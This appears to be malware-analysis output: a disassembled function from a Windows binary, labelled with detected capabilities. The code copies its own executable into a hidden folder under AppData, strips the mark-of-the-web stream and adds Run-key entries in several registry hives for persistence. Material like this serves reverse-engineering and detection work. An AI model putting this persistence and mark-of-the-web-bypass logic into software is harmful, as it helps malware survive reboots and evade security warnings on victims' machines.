Function at 0x403870
Capabilities:
Bypass mark of the web
Copy file
Create directory
Delete file
Get common file path
Persist via run registry key
Query or enumerate registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c8
mov dword [ebp - 0x41c], 5
push 0x44
push 0
lea eax, [ebp - 0x6b8]
push eax
call fcn.00402820
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x42c]
push ecx
call fcn.00402820
add esp, 0xc
push 0x401844
push 0x401854
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x407ad0], eax
call fcn.004050f0
mov dword [0x407f88], eax
call fcn.00405140
mov dword [0x407f84], eax
cmp dword [0x407f88], 0
jne 0x4038ec
call fcn.00405070
mov dword [0x407f8c], eax
push 0xff
push 0x4075c8
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x4075c8
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [0x4075bc], eax
cmp dword [0x407f90], 1
jne 0x403af7
call fcn.00405b40
cmp dword [0x407f88], 1
je 0x403934
cmp dword [0x407f8c], 1
jne 0x403aa2
push 0x407204
push 0x80000002
call fcn.00403e70
add esp, 8
push 0x407234
push 0x80000002
call fcn.00403e70
add esp, 8
mov dword [ebp - 0x104], 0
push 0x100
push 0
lea edx, [ebp - 0x218]
push edx
call fcn.00402820
add esp, 0xc
push 0x100
push 0
lea eax, [ebp - 0x630]
push eax
call fcn.00402820
add esp, 0xc
push 0xff
lea ecx, [ebp - 0x218]
push ecx
mov edx, dword [ebp - 0x104]
push edx
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x403aa2
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x630]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x401864
lea edx, [ebp - 0x630]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x407204
lea eax, [ebp - 0x630]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x630]
push ecx
push 0x80000003
call fcn.00403e70
add esp, 8
push 0x100
push 0
lea edx, [ebp - 0x630]
push edx
call fcn.00402820
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x630]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x401868
lea edx, [ebp - 0x630]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x407234
lea eax, [ebp - 0x630]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x630]
push ecx
push 0x80000003
call fcn.00403e70
add esp, 8
mov edx, dword [ebp - 0x104]
add edx, 1
mov dword [ebp - 0x104], edx
push 0x100
push 0
lea eax, [ebp - 0x218]
push eax
call fcn.00402820
add esp, 0xc
push 0x100
push 0
lea ecx, [ebp - 0x630]
push ecx
call fcn.00402820
add esp, 0xc
jmp 0x40398e
push 0x407204
push 0x80000001
call fcn.00403e70
add esp, 8
push 0x407234
push 0x80000001
call fcn.00403e70
add esp, 8
cmp dword [0x407f88], 1
je 0x403ad8
cmp dword [0x407f8c], 1
jne 0x403ae5
push 0x80000002
call fcn.00403de0
add esp, 4
push 0x80000001
call fcn.00403de0
add esp, 4
jmp 0x403d14
push 0x100
push 0
lea edx, [ebp - 0x7c8]
push edx
call fcn.00402820
add esp, 0xc
push 0x100
push 0
lea eax, [ebp - 0x418]
push eax
call fcn.00402820
add esp, 0xc
push 0x40
push 0
lea ecx, [ebp - 0x670]
push ecx
call fcn.00402820
add esp, 0xc
push 0x100
push 0
lea edx, [ebp - 0x100]
push edx
call fcn.00402820
add esp, 0xc
lea eax, [ebp - 0x7c8]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push 6
push 0
lea ecx, [ebp - 0x6c0]
push ecx
call fcn.00402820
add esp, 0xc
push 6
lea edx, [ebp - 0x6c0]
push edx
push 0x40186c
call fcn.00405c90
add esp, 0xc
movsx eax, byte [ebp - 0x6c0]
test eax, eax
jne 0x403bbe
push 5
lea ecx, [ebp - 0x6c0]
push ecx
call fcn.004052c0
add esp, 8
push 1
push 5
lea edx, [ebp - 0x6c0]
push edx
push 0x401878
call fcn.00405bb0
add esp, 0x10
lea eax, [ebp - 0x6c0]
push eax
push 0x401884
lea ecx, [ebp - 0x670]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x670]
push edx
lea eax, [ebp - 0x7c8]
push eax
push 0x401894
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x100
push 0
lea eax, [ebp - 0x418]
push eax
call fcn.00402820
add esp, 0xc
push 0x100
push 0
lea ecx, [ebp - 0x530]
push ecx
call fcn.00402820
add esp, 0xc
lea edx, [ebp - 0x6c0]
push edx
lea eax, [ebp - 0x670]
push eax
lea ecx, [ebp - 0x7c8]
push ecx
push 0x40189c
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0xff
lea eax, [ebp - 0x100]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x80
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp - 0x100]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x418]
push eax
call fcn.00405a80
add esp, 4
push 0x4018ac
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [0x407f88], 1
je 0x403cfa
cmp dword [0x407f8c], 1
jne 0x403d07
push 0x80000002
call fcn.00403d20
add esp, 4
push 0x80000001
call fcn.00403d20
add esp, 4
mov esp, ebp
pop ebp
ret